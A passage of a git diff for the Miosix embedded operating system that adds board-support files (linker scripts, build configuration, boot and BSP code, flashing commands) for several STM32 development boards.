kernelspace applications, the second being the process pool for userspace + * applications. + */ + +_process_pool_size = 256K; + +/* + * NOTE: starting at 0x20000000 there's 128KB of DTCM (Data Tightly Coupled + * Memory). Technically, we could use this as normal RAM as there's a way for + * the DMA to access it, but the datasheet is unclear about performance + * penalties for doing so. To avoid nonuniform DMA memory access latencies, + * we leave this 128KB DTCM unused. This leaves us with 384KB of RAM. + * TODO: test if we can just use the whole RAM + */ +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 2M + /* ram(wx) : ORIGIN = 0x20000000, LENGTH = 512K */ + ram(wx) : ORIGIN = 0x20020000, LENGTH = 384K +} + +INCLUDE ldscripts/miosix-flash-ram.ld diff --git a/miosix/arch/board/stm32f769ni_discovery/unikernel-xram.ld b/miosix/arch/board/stm32f769ni_discovery/unikernel-xram.ld new file mode 100644 index 000000000..f1760693a --- /dev/null +++ b/miosix/arch/board/stm32f769ni_discovery/unikernel-xram.ld @@ -0,0 +1,24 @@ +/* + * Linker script for stm32f769 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +/* + * NOTE: starting at 0x20000000 there's 128KB of DTCM (Data Tightly Coupled + * Memory). Then there's 384K of internal SRAM. + * Since this linker script is for placing only the IRQ stack in SRAM, we use + * TCM for the interrupt stack and leave the rest of the internal RAM unused + */ +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 2M + ram1(wx) : ORIGIN = 0x20000000, LENGTH = 128K /* TCM for IRQ stack */ + ram2(wx) : ORIGIN = 0xc0000000, LENGTH = 16M /* XRAM */ +} + +/* Mark ram2 as being an external RAM */ +_xram_start = ORIGIN(ram2); +_xram_size = LENGTH(ram2); + +INCLUDE ldscripts/miosix-flash-2ram-separate-irqstack.ld diff --git a/miosix/arch/board/stm32f769ni_discovery/unikernel.ld b/miosix/arch/board/stm32f769ni_discovery/unikernel.ld new file mode 100644 index 000000000..94e2970a7 --- /dev/null +++ b/miosix/arch/board/stm32f769ni_discovery/unikernel.ld @@ -0,0 +1,22 @@ +/* + * Linker script for stm32f769 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +/* + * NOTE: starting at 0x20000000 there's 128KB of DTCM (Data Tightly Coupled + * Memory). Technically, we could use this as normal RAM as there's a way for + * the DMA to access it, but the datasheet is unclear about performance + * penalties for doing so. To avoid nonuniform DMA memory access latencies, + * we leave this 128KB DTCM unused. This leaves us with 384KB of RAM. + * TODO: test if we can just use the whole RAM + */ +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 2M + /* ram(wx) : ORIGIN = 0x20000000, LENGTH = 512K */ + ram(wx) : ORIGIN = 0x20020000, LENGTH = 384K +} + +INCLUDE ldscripts/miosix-flash-ram.ld diff --git a/miosix/arch/board/stm32h503rb_generic/CMakeLists.txt b/miosix/arch/board/stm32h503rb_generic/CMakeLists.txt new file mode 100644 index 000000000..5fcb46160 --- /dev/null +++ b/miosix/arch/board/stm32h503rb_generic/CMakeLists.txt @@ -0,0 +1,33 @@ +## +## CMakeLists.txt for board stm32h503rb_generic +## + +# Directory with header files for this board +set(MIOSIX_CHIP_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/chip/stm32h5) + +# Linker script options +# Each script in the list may be followed by the compiler options it requires +# These options are automatically added to the C/CXX compiler command line when +# that linker script is selected +set(MIOSIX_LINKER_SCRIPT_LIST + unikernel.ld +) +set(MIOSIX_DEFAULT_LINKER_SCRIPT unikernel.ld) + +# Select architecture specific files +set(MIOSIX_BOARD_SRC + ${MIOSIX_BOARD_INC}/boot.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/stm32_hardware_rng.cpp + ${MIOSIX_BOARD_INC}/interfaces-impl/bsp.cpp +) + +# Add a #define to allow querying board name +set(MIOSIX_BOARD_C_FLAGS -D_BOARD_STM32H503RB_GENERIC) +set(MIOSIX_BOARD_CXX_FLAGS -D_BOARD_STM32H503RB_GENERIC) + +# Specify a custom flash command +# This is the program that is invoked when the program- target is +# built. Use or as placeolders, they will be replaced by the +# build systems with the binary or hex file path repectively. +# If a command is not specified, the build system will fallback to st-flash +#set(PROGRAM_CMDLINE ...) diff --git a/miosix/arch/board/stm32h503rb_generic/Makefile.inc b/miosix/arch/board/stm32h503rb_generic/Makefile.inc new file mode 100644 index 000000000..e852deda4 --- /dev/null +++ b/miosix/arch/board/stm32h503rb_generic/Makefile.inc @@ -0,0 +1,32 @@ +## +## Makefile for board stm32h503rb_generic +## Included by Makefile.inc based on the board currently selected +## + +## Base directory with else header files for this board +CHIP_INC := arch/chip/stm32h5 + +## Select linker script +LINKER_SCRIPT := unikernel.ld + +## Select architecture specific files +## These are the files in arch// +BOARD_SRC := \ +$(BOARD_INC)/boot.cpp \ +arch/drivers/stm32_hardware_rng.cpp \ +$(BOARD_INC)/interfaces-impl/bsp.cpp + +## Add a #define to allow querying board name +BOARD_CFLAGS := -D_BOARD_STM32H503RB_GENERIC +BOARD_CXXFLAGS := -D_BOARD_STM32H503RB_GENERIC + +## Select programmer command line +## This is the program that is invoked when the user types +## 'make program' +## The command must provide a way to program the board, or print an +## error message saying that 'make program' is not supported for that +## board. +#PROG ?= st-flash --connect-under-reset --reset write \ +# $(if $(ROMFS_DIR), image.bin, main.bin) 0x08000000 +PROG ?= dfu-util -d 0483:df11 -a 0 -s 0x08000000:leave -D \ + $(if $(ROMFS_DIR), image.bin, main.bin) diff --git a/miosix/arch/board/stm32h503rb_generic/boot.cpp b/miosix/arch/board/stm32h503rb_generic/boot.cpp new file mode 100644 index 000000000..bc39fae6c --- /dev/null +++ b/miosix/arch/board/stm32h503rb_generic/boot.cpp @@ -0,0 +1,39 @@ +/*************************************************************************** + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +extern "C" void SystemInit(); + +namespace miosix { + +void IRQmemoryAndClockInit() +{ + // Currently we use the code provided by ST (with our modifications) to + // handle the memory and clock initialization process. + SystemInit(); +} + +} // namespace miosix diff --git a/miosix/arch/board/stm32h503rb_generic/interfaces-impl/arch_registers_impl.h b/miosix/arch/board/stm32h503rb_generic/interfaces-impl/arch_registers_impl.h new file mode 100644 index 000000000..34a402d7c --- /dev/null +++ b/miosix/arch/board/stm32h503rb_generic/interfaces-impl/arch_registers_impl.h @@ -0,0 +1,20 @@ +#pragma once + +#define STM32H503xx +#include "CMSIS/Device/ST/STM32H5xx/Include/stm32h5xx.h" +#include "CMSIS/Include/core_cm33.h" +#include "CMSIS/Device/ST/STM32H5xx/Include/system_stm32h5xx.h" + +//RCC_SYNC is a Miosix-defined primitive for synchronizing the CPU with the +//STM32 RCC (Reset and Clock Control) peripheral after modifying peripheral +//clocks/resets. This is necessary on almost all stm32s starting from stm32f2xx, +//as observed experimentally across a variety of microcontrollers and also +//according to the errata and more recent reference manuals. To be extra safe +//it is defined to a __DSB() on all stm32s (even those that according to the +//documentation don't need it). +//On stm32h503 RCC synchronization is required per the reference manual +//(RM0492 section 10.4.18). +#define RCC_SYNC() __DSB() + +//Peripheral interrupt start from 0 and the last one is 133, so there are 134 +#define MIOSIX_NUM_PERIPHERAL_IRQ 134 diff --git a/miosix/arch/board/stm32h503rb_generic/interfaces-impl/bsp.cpp b/miosix/arch/board/stm32h503rb_generic/interfaces-impl/bsp.cpp new file mode 100644 index 000000000..600ffcf9d --- /dev/null +++ b/miosix/arch/board/stm32h503rb_generic/interfaces-impl/bsp.cpp @@ -0,0 +1,127 @@ +/*************************************************************************** + * Copyright (C) 2012, 2013, 2014 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp.cpp Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#include +#include +#include +#include "interfaces_private/bsp_private.h" +#include "kernel/thread.h" +#include "kernel/sync.h" +#include "interfaces/delays.h" +#include "interfaces/poweroff.h" +#include "interfaces/arch_registers.h" +#include "miosix_settings.h" +#include "kernel/logging.h" +#include "filesystem/file_access.h" +#include "filesystem/console/console_device.h" +#include "interfaces/serial.h" +#include "drivers/dcc.h" +#include "board_settings.h" + +namespace miosix { + +// +// Initialization +// + +void IRQbspInit() +{ + //Enable all gpios + RCC->AHB2ENR |= RCC_AHB2ENR_GPIOAEN | RCC_AHB2ENR_GPIOBEN | + RCC_AHB2ENR_GPIOCEN | RCC_AHB2ENR_GPIODEN | + RCC_AHB2ENR_GPIOHEN; + RCC_SYNC(); + GPIOA->OSPEEDR=0xaaaaaaaa; //Default to 50MHz speed for all GPIOS + GPIOB->OSPEEDR=0xaaaaaaaa; + GPIOC->OSPEEDR=0xaaaaaaaa; + GPIOD->OSPEEDR=0xaaaaaaaa; + IRQsetDefaultConsole(intrusive_ref_ptr( + #ifndef STDOUT_REDIRECTED_TO_DCC + STM32SerialBase::get( + defaultSerial,defaultSerialSpeed, + defaultSerialFlowctrl,defaultSerialDma) + #else //STDOUT_REDIRECTED_TO_DCC + new ARMDCC + #endif //STDOUT_REDIRECTED_TO_DCC + )); +} + +void bspInit2() +{ + //#ifdef WITH_FILESYSTEM + //basicFilesystemSetup(SDIODriver::instance()); + //#endif //WITH_FILESYSTEM +} + +// +// Shutdown and reboot +// + +/** +This function disables filesystem (if enabled), serial port (if enabled) and +puts the processor in deep sleep mode.
+Wakeup occurs when PA.0 goes high, but instead of sleep(), a new boot happens. +
This function does not return.
+WARNING: close all files before using this function, since it unmounts the +filesystem.
+When in shutdown mode, power consumption of the miosix board is reduced to ~ +5uA??, however, true power consumption depends on what is connected to the GPIO +pins. The user is responsible to put the devices connected to the GPIO pin in the +minimal power consumption mode before calling shutdown(). Please note that to +minimize power consumption all unused GPIO must not be left floating. +*/ +void shutdown() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + //#ifdef WITH_FILESYSTEM + //FilesystemManager::instance().umountAll(); + //#endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + for(;;) ; +} + +void reboot() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + //#ifdef WITH_FILESYSTEM + //FilesystemManager::instance().umountAll(); + //#endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + IRQsystemReboot(); +} + +};//namespace miosix diff --git a/miosix/arch/board/stm32h503rb_generic/interfaces-impl/bsp_impl.h b/miosix/arch/board/stm32h503rb_generic/interfaces-impl/bsp_impl.h new file mode 100644 index 000000000..f1b9e6be8 --- /dev/null +++ b/miosix/arch/board/stm32h503rb_generic/interfaces-impl/bsp_impl.h @@ -0,0 +1,59 @@ +/*************************************************************************** + * Copyright (C) 2012 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp_impl.h Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#pragma once + +#include "miosix_settings.h" +#include "interfaces/gpio.h" +#include "drivers/stm32_hardware_rng.h" + +namespace miosix { + +/** +\addtogroup Hardware +\{ +*/ + +inline void ledOn() {} +inline void ledOff() {} + +/** + * Polls the SD card sense GPIO + * \return true if there is an uSD card in the socket. + */ +// inline bool sdCardSense() { return true; } + +/** +\} +*/ + +};//namespace miosix diff --git a/miosix/arch/board/stm32h503rb_generic/unikernel.ld b/miosix/arch/board/stm32h503rb_generic/unikernel.ld new file mode 100644 index 000000000..1571098fe --- /dev/null +++ b/miosix/arch/board/stm32h503rb_generic/unikernel.ld @@ -0,0 +1,13 @@ +/* + * Linker script for stm32h503 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 128K + ram(wx) : ORIGIN = 0x20000000, LENGTH = 32K +} + +INCLUDE ldscripts/miosix-flash-ram.ld diff --git a/miosix/arch/board/stm32h723zg_nucleo/CMakeLists.txt b/miosix/arch/board/stm32h723zg_nucleo/CMakeLists.txt new file mode 100644 index 000000000..cbd9442ef --- /dev/null +++ b/miosix/arch/board/stm32h723zg_nucleo/CMakeLists.txt @@ -0,0 +1,33 @@ +## +## CMakeLists.txt for board stm32h723zg_nucleo +## + +# Directory with header files for this board +set(MIOSIX_CHIP_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/chip/stm32h7) + +# Linker script options +# Each script in the list may be followed by the compiler options it requires +# These options are automatically added to the C/CXX compiler command line when +# that linker script is selected +set(MIOSIX_LINKER_SCRIPT_LIST + unikernel.ld +) +set(MIOSIX_DEFAULT_LINKER_SCRIPT unikernel.ld) + +# Select architecture specific files +set(MIOSIX_BOARD_SRC + ${MIOSIX_BOARD_INC}/boot.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/stm32_hardware_rng.cpp + ${MIOSIX_BOARD_INC}/interfaces-impl/bsp.cpp +) + +# Add a #define to allow querying board name +set(MIOSIX_BOARD_C_FLAGS -D_BOARD_STM32H723ZG_NUCLEO) +set(MIOSIX_BOARD_CXX_FLAGS -D_BOARD_STM32H723ZG_NUCLEO) + +# Specify a custom flash command +# This is the program that is invoked when the program- target is +# built. Use or as placeolders, they will be replaced by the +# build systems with the binary or hex file path repectively. +# If a command is not specified, the build system will fallback to st-flash +#set(PROGRAM_CMDLINE st-flash --connect-under-reset --reset write 0x08000000) diff --git a/miosix/arch/board/stm32h723zg_nucleo/Makefile.inc b/miosix/arch/board/stm32h723zg_nucleo/Makefile.inc new file mode 100644 index 000000000..e824d7aa7 --- /dev/null +++ b/miosix/arch/board/stm32h723zg_nucleo/Makefile.inc @@ -0,0 +1,27 @@ +## +## Makefile for board stm32h723zg_nucleo +## Included by Makefile.inc based on the board currently selected +## + +## Base directory with else header files for this board +CHIP_INC := arch/chip/stm32h7 + +## Select architecture specific files +## These are the files in arch// +BOARD_SRC := \ +$(BOARD_INC)/boot.cpp \ +arch/drivers/stm32_hardware_rng.cpp \ +$(BOARD_INC)/interfaces-impl/bsp.cpp + +## Add a #define to allow querying board name +BOARD_CFLAGS := -D_BOARD_STM32H723ZG_NUCLEO +BOARD_CXXFLAGS := -D_BOARD_STM32H723ZG_NUCLEO + +## Select programmer command line +## This is the program that is invoked when the user types +## 'make program' +## The command must provide a way to program the board, or print an +## error message saying that 'make program' is not supported for that +## board. +PROG ?= st-flash --connect-under-reset --reset write \ + $(if $(ROMFS_DIR), image.bin, main.bin) 0x08000000 diff --git a/miosix/arch/board/stm32h723zg_nucleo/boot.cpp b/miosix/arch/board/stm32h723zg_nucleo/boot.cpp new file mode 100644 index 000000000..4d5f5ce35 --- /dev/null +++ b/miosix/arch/board/stm32h723zg_nucleo/boot.cpp @@ -0,0 +1,40 @@ +/*************************************************************************** + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "drivers/clock/stm32h7_pll.h" + +extern "C" void SystemInit(); + +namespace miosix { + +void IRQmemoryAndClockInit() +{ + SystemInit(); + startPll(); +} + +} // namespace miosix diff --git a/miosix/arch/board/stm32h723zg_nucleo/interfaces-impl/arch_registers_impl.h b/miosix/arch/board/stm32h723zg_nucleo/interfaces-impl/arch_registers_impl.h new file mode 100644 index 000000000..2e0cd798b --- /dev/null +++ b/miosix/arch/board/stm32h723zg_nucleo/interfaces-impl/arch_registers_impl.h @@ -0,0 +1,27 @@ +#pragma once + +//stm32h7xx.h defines a few macros like __ICACHE_PRESENT, __DCACHE_PRESENT and +//includes core_cm7.h. Do not include core_cm7.h before. +#define STM32H723xx +#include "CMSIS/Device/ST/STM32H7xx/Include/stm32h7xx.h" + +#if (__ICACHE_PRESENT != 1) || (__DCACHE_PRESENT != 1) +#error "Wrong include order" +#endif + +#include "CMSIS/Device/ST/STM32H7xx/Include/system_stm32h7xx.h" + +//RCC_SYNC is a Miosix-defined primitive for synchronizing the CPU with the +//STM32 RCC (Reset and Clock Control) peripheral after modifying peripheral +//clocks/resets. This is necessary on almost all stm32s starting from stm32f2xx, +//as observed experimentally across a variety of microcontrollers and also +//according to the errata and more recent reference manuals. To be extra safe +//it is defined to a __DSB() on all stm32s (even those that according to the +//documentation don't need it). +//On stm32h723,h733,h725,h735,h730 RCC synchronization is required per the +//reference manual (RM0468 section 8.5.10, although the synchonization mechanism +//described is different). +#define RCC_SYNC() __DSB() + +//Peripheral interrupt start from 0 and the last one is 162, so there are 163 +#define MIOSIX_NUM_PERIPHERAL_IRQ 163 diff --git a/miosix/arch/board/stm32h723zg_nucleo/interfaces-impl/bsp.cpp b/miosix/arch/board/stm32h723zg_nucleo/interfaces-impl/bsp.cpp new file mode 100644 index 000000000..d0b2c28da --- /dev/null +++ b/miosix/arch/board/stm32h723zg_nucleo/interfaces-impl/bsp.cpp @@ -0,0 +1,124 @@ +/*************************************************************************** + * Copyright (C) 2018 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp.cpp Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#include +#include +#include +#include "interfaces/bsp.h" +#include "interfaces_private/bsp_private.h" +#include "kernel/thread.h" +#include "kernel/sync.h" +#include "interfaces/delays.h" +#include "interfaces/poweroff.h" +#include "interfaces/arch_registers.h" +#include "miosix_settings.h" +#include "kernel/logging.h" +#include "filesystem/file_access.h" +#include "filesystem/console/console_device.h" +#include "interfaces/serial.h" +#include "drivers/sdmmc/stm32h7_sd.h" +#include "board_settings.h" + +namespace miosix { + +// +// Initialization +// + +void IRQbspInit() +{ + //Enable all gpios + RCC->AHB4ENR |= RCC_AHB4ENR_GPIOAEN | RCC_AHB4ENR_GPIOBEN | + RCC_AHB4ENR_GPIOCEN | RCC_AHB4ENR_GPIODEN | + RCC_AHB4ENR_GPIOEEN | RCC_AHB4ENR_GPIOFEN | + RCC_AHB4ENR_GPIOGEN | RCC_AHB4ENR_GPIOHEN | + RCC_AHB4ENR_GPIOJEN | RCC_AHB4ENR_GPIOKEN; + RCC_SYNC(); + GPIOA->OSPEEDR=0xaaaaaaaa; //Default to 50MHz speed for all GPIOS + GPIOB->OSPEEDR=0xaaaaaaaa; + GPIOC->OSPEEDR=0xaaaaaaaa; + GPIOD->OSPEEDR=0xaaaaaaaa; + GPIOE->OSPEEDR=0xaaaaaaaa; + GPIOF->OSPEEDR=0xaaaaaaaa; + GPIOG->OSPEEDR=0xaaaaaaaa; + GPIOH->OSPEEDR=0xaaaaaaaa; + GPIOJ->OSPEEDR=0xaaaaaaaa; + GPIOK->OSPEEDR=0xaaaaaaaa; + + _led::mode(Mode::OUTPUT); + ledOn(); + delayMs(100); + ledOff(); + IRQsetDefaultConsole( + STM32SerialBase::get( + defaultSerial,defaultSerialSpeed, + defaultSerialFlowctrl,defaultSerialDma)); +} + +void bspInit2() +{ + #ifdef WITH_FILESYSTEM + //FIXME + basicFilesystemSetup(SDIODriver::instance()); + #endif //WITH_FILESYSTEM +} + +// +// Shutdown and reboot +// + +void shutdown() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + for(;;) ; +} + +void reboot() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + IRQsystemReboot(); +} + +} //namespace miosix diff --git a/miosix/arch/board/stm32h723zg_nucleo/interfaces-impl/bsp_impl.h b/miosix/arch/board/stm32h723zg_nucleo/interfaces-impl/bsp_impl.h new file mode 100644 index 000000000..3c6421374 --- /dev/null +++ b/miosix/arch/board/stm32h723zg_nucleo/interfaces-impl/bsp_impl.h @@ -0,0 +1,81 @@ +/*************************************************************************** + * Copyright (C) 2018 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp_impl.h Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#ifndef BSP_IMPL_H +#define BSP_IMPL_H + +#include "miosix_settings.h" +#include "interfaces/gpio.h" + +namespace miosix { + +/** +\addtogroup Hardware +\{ +*/ + +/** + * \internal + * used by the ledOn() and ledOff() implementation + */ +typedef Gpio _led; + +inline void ledOn() +{ + //Led is connected to VCC, so to turn it on the GPIO has to be low + _led::low(); +} + +inline void ledOff() +{ + _led::high(); +} + +/** + * Polls the SD card sense GPIO. + * + * This board has no SD card whatsoever, but a card can be connected to the + * following GPIOs: + * TODO: never tested + * + * \return true. As there's no SD card sense switch, let's pretend that + * the card is present. + */ +inline bool sdCardSense() { return true; } + +/** +\} +*/ + +} //namespace miosix + +#endif //BSP_IMPL_H diff --git a/miosix/arch/cortexM7_stm32h7/stm32h723zg_nucleo/openocd.cfg b/miosix/arch/board/stm32h723zg_nucleo/openocd.cfg similarity index 100% rename from miosix/arch/cortexM7_stm32h7/stm32h723zg_nucleo/openocd.cfg rename to miosix/arch/board/stm32h723zg_nucleo/openocd.cfg diff --git a/miosix/arch/board/stm32h723zg_nucleo/unikernel.ld b/miosix/arch/board/stm32h723zg_nucleo/unikernel.ld new file mode 100644 index 000000000..8d9b83728 --- /dev/null +++ b/miosix/arch/board/stm32h723zg_nucleo/unikernel.ld @@ -0,0 +1,14 @@ +/* + * Linker script for stm32h723 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 1M + /* NOTE: for now we support only the AXI SRAM */ + ram(wx) : ORIGIN = 0x24000000, LENGTH = 128K +} + +INCLUDE ldscripts/miosix-flash-ram.ld diff --git a/miosix/arch/board/stm32h753xi_eval/CMakeLists.txt b/miosix/arch/board/stm32h753xi_eval/CMakeLists.txt new file mode 100644 index 000000000..bd516eb4a --- /dev/null +++ b/miosix/arch/board/stm32h753xi_eval/CMakeLists.txt @@ -0,0 +1,34 @@ +## +## CMakeLists.txt for board stm32h753xi_eval +## + +# Directory with header files for this board +set(MIOSIX_CHIP_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/chip/stm32h7) + +# Linker script options +# Each script in the list may be followed by the compiler options it requires +# These options are automatically added to the C/CXX compiler command line when +# that linker script is selected +set(MIOSIX_LINKER_SCRIPT_LIST + # TODO: the board has external ram but no support code for it was written + unikernel.ld +) +set(MIOSIX_DEFAULT_LINKER_SCRIPT unikernel.ld) + +# Select architecture specific files +set(MIOSIX_BOARD_SRC + ${MIOSIX_BOARD_INC}/boot.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/stm32_hardware_rng.cpp + ${MIOSIX_BOARD_INC}/interfaces-impl/bsp.cpp +) + +# Add a #define to allow querying board name +set(MIOSIX_BOARD_C_FLAGS -D_BOARD_STM32H753XI_EVAL) +set(MIOSIX_BOARD_CXX_FLAGS -D_BOARD_STM32H753XI_EVAL) + +# Specify a custom flash command +# This is the program that is invoked when the program- target is +# built. Use or as placeolders, they will be replaced by the +# build systems with the binary or hex file path repectively. +# If a command is not specified, the build system will fallback to st-flash +#set(PROGRAM_CMDLINE st-flash --connect-under-reset --reset write 0x08000000) diff --git a/miosix/arch/board/stm32h753xi_eval/Makefile.inc b/miosix/arch/board/stm32h753xi_eval/Makefile.inc new file mode 100644 index 000000000..5e51847d6 --- /dev/null +++ b/miosix/arch/board/stm32h753xi_eval/Makefile.inc @@ -0,0 +1,27 @@ +## +## Makefile for board stm32h753xi_eval +## Included by Makefile.inc based on the board currently selected +## + +## Base directory with else header files for this board +CHIP_INC := arch/chip/stm32h7 + +## Select architecture specific files +## These are the files in arch// +BOARD_SRC := \ +$(BOARD_INC)/boot.cpp \ +arch/drivers/stm32_hardware_rng.cpp \ +$(BOARD_INC)/interfaces-impl/bsp.cpp + +## Add a #define to allow querying board name +BOARD_CFLAGS := -D_BOARD_STM32H753XI_EVAL +BOARD_CXXFLAGS := -D_BOARD_STM32H753XI_EVAL + +## Select programmer command line +## This is the program that is invoked when the user types +## 'make program' +## The command must provide a way to program the board, or print an +## error message saying that 'make program' is not supported for that +## board. +PROG ?= st-flash --connect-under-reset --reset write \ + $(if $(ROMFS_DIR), image.bin, main.bin) 0x08000000 diff --git a/miosix/arch/board/stm32h753xi_eval/boot.cpp b/miosix/arch/board/stm32h753xi_eval/boot.cpp new file mode 100644 index 000000000..4d5f5ce35 --- /dev/null +++ b/miosix/arch/board/stm32h753xi_eval/boot.cpp @@ -0,0 +1,40 @@ +/*************************************************************************** + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * 